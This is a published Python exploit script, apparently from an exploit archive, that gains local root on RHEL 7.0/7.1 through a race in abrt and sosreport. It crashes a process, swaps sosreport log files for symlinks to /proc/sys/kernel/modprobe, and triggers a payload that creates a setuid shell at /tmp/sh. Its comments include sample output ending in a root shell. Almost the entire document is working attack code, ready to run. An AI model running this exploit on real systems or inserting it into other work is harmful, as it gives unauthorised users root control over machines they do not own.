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RHEL 7.0 / 7.1 abrt / sosreport Local Root

Posted on 01 December 2015

#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh
cp /bin/sh /tmp/sh
chmod 6755 /tmp/sh
"

pid = os.fork()

if pid == 0:
 os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
 while 1:
 r = glob.glob(p)
 if len(r) > 0:
 return r
 time.sleep(0.05)

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
 print "%s -> %s" % (x,x + ".old")
 os.rename(x, x + ".old")
 open(x, "w+").write("/tmp/hax.sh
")
 os.chmod(x,0666)

os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")

def trigger():
 open("/tmp/hax.sh","w+").write(payload)
 os.chmod("/tmp/hax.sh",0755)
 try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
 except: pass
 time.sleep(0.5)
 try:
 os.stat("/tmp/sh")
 except:
 print "could not create suid"
 sys.exit(-1)
 print "success"
 os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
 sys.exit(-1)

for x in xrange(0,60*10):
 if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
 print "done"
 trigger()
 time.sleep(1)
 sys.stderr.write(".")

print "timed out"

 

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